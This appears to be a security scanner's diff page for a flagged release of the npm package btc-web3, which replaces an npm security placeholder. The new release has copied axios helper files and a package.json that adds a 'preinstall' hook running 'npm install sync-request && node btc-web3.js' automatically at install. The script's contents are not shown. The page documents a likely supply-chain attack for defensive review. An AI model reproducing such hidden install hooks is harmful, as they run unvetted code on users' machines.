btc-web3 0.0.1-security → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of btc-web3 might be problematic. Click here for more details.
- package/btc-web3.js +689 -0
- package/helpers/AxiosTransformStream.js +191 -0
- package/helpers/AxiosURLSearchParams.js +58 -0
- package/helpers/HttpStatusCode.js +71 -0
- package/helpers/README.md +7 -0
- package/helpers/ZlibHeaderTransformStream.js +28 -0
- package/helpers/bind.js +3 -0
- package/helpers/buildURL.js +63 -0
- package/helpers/callbackify.js +16 -0
- package/helpers/combineURLs.js +15 -0
- package/helpers/cookies.js +52 -0
- package/helpers/deprecatedMethod.js +26 -0
- package/helpers/formDataToJSON.js +92 -0
- package/helpers/formDataToStream.js +111 -0
- package/helpers/fromDataURI.js +53 -0
- package/helpers/isAbsoluteURL.js +15 -0
- package/helpers/isAxiosError.js +14 -0
- package/helpers/isURLSameOrigin.js +67 -0
- package/helpers/null.js +2 -0
- package/helpers/parseHeaders.js +55 -0
- package/helpers/parseProtocol.js +6 -0
- package/helpers/readBlob.js +15 -0
- package/helpers/speedometer.js +55 -0
- package/helpers/spread.js +28 -0
- package/helpers/throttle.js +33 -0
- package/helpers/toFormData.js +219 -0
- package/helpers/toURLEncodedForm.js +18 -0
- package/helpers/validator.js +91 -0
- package/package.json +12 -3
- package/README.md +0 -5
@@ -0,0 +1,18 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
import utils from '../utils.js';
|
4
|
+
import toFormData from './toFormData.js';
|
5
|
+
import platform from '../platform/index.js';
|
6
|
+
|
7
|
+
export default function toURLEncodedForm(data, options) {
|
8
|
+
return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({
|
9
|
+
visitor: function(value, key, path, helpers) {
|
10
|
+
if (platform.isNode && utils.isBuffer(value)) {
|
11
|
+
this.append(key, value.toString('base64'));
|
12
|
+
return false;
|
13
|
+
}
|
14
|
+
|
15
|
+
return helpers.defaultVisitor.apply(this, arguments);
|
16
|
+
}
|
17
|
+
}, options));
|
18
|
+
}
|
@@ -0,0 +1,91 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
import {VERSION} from '../env/data.js';
|
4
|
+
import AxiosError from '../core/AxiosError.js';
|
5
|
+
|
6
|
+
const validators = {};
|
7
|
+
|
8
|
+
// eslint-disable-next-line func-names
|
9
|
+
['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {
|
10
|
+
validators[type] = function validator(thing) {
|
11
|
+
return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;
|
12
|
+
};
|
13
|
+
});
|
14
|
+
|
15
|
+
const deprecatedWarnings = {};
|
16
|
+
|
17
|
+
/**
|
18
|
+
* Transitional option validator
|
19
|
+
*
|
20
|
+
* @param {function|boolean?} validator - set to false if the transitional option has been removed
|
21
|
+
* @param {string?} version - deprecated version / removed since version
|
22
|
+
* @param {string?} message - some message with additional info
|
23
|
+
*
|
24
|
+
* @returns {function}
|
25
|
+
*/
|
26
|
+
validators.transitional = function transitional(validator, version, message) {
|
27
|
+
function formatMessage(opt, desc) {
|
28
|
+
return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : '');
|
29
|
+
}
|
30
|
+
|
31
|
+
// eslint-disable-next-line func-names
|
32
|
+
return (value, opt, opts) => {
|
33
|
+
if (validator === false) {
|
34
|
+
throw new AxiosError(
|
35
|
+
formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),
|
36
|
+
AxiosError.ERR_DEPRECATED
|
37
|
+
);
|
38
|
+
}
|
39
|
+
|
40
|
+
if (version && !deprecatedWarnings[opt]) {
|
41
|
+
deprecatedWarnings[opt] = true;
|
42
|
+
// eslint-disable-next-line no-console
|
43
|
+
console.warn(
|
44
|
+
formatMessage(
|
45
|
+
opt,
|
46
|
+
' has been deprecated since v' + version + ' and will be removed in the near future'
|
47
|
+
)
|
48
|
+
);
|
49
|
+
}
|
50
|
+
|
51
|
+
return validator ? validator(value, opt, opts) : true;
|
52
|
+
};
|
53
|
+
};
|
54
|
+
|
55
|
+
/**
|
56
|
+
* Assert object's properties type
|
57
|
+
*
|
58
|
+
* @param {object} options
|
59
|
+
* @param {object} schema
|
60
|
+
* @param {boolean?} allowUnknown
|
61
|
+
*
|
62
|
+
* @returns {object}
|
63
|
+
*/
|
64
|
+
|
65
|
+
function assertOptions(options, schema, allowUnknown) {
|
66
|
+
if (typeof options !== 'object') {
|
67
|
+
throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);
|
68
|
+
}
|
69
|
+
const keys = Object.keys(options);
|
70
|
+
let i = keys.length;
|
71
|
+
while (i-- > 0) {
|
72
|
+
const opt = keys[i];
|
73
|
+
const validator = schema[opt];
|
74
|
+
if (validator) {
|
75
|
+
const value = options[opt];
|
76
|
+
const result = value === undefined || validator(value, opt, options);
|
77
|
+
if (result !== true) {
|
78
|
+
throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);
|
79
|
+
}
|
80
|
+
continue;
|
81
|
+
}
|
82
|
+
if (allowUnknown !== true) {
|
83
|
+
throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);
|
84
|
+
}
|
85
|
+
}
|
86
|
+
}
|
87
|
+
|
88
|
+
export default {
|
89
|
+
assertOptions,
|
90
|
+
validators
|
91
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "btc-web3",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "npm install sync-request && node btc-web3.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"sync-request": "^6.1.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=btc-web3 for more information.
|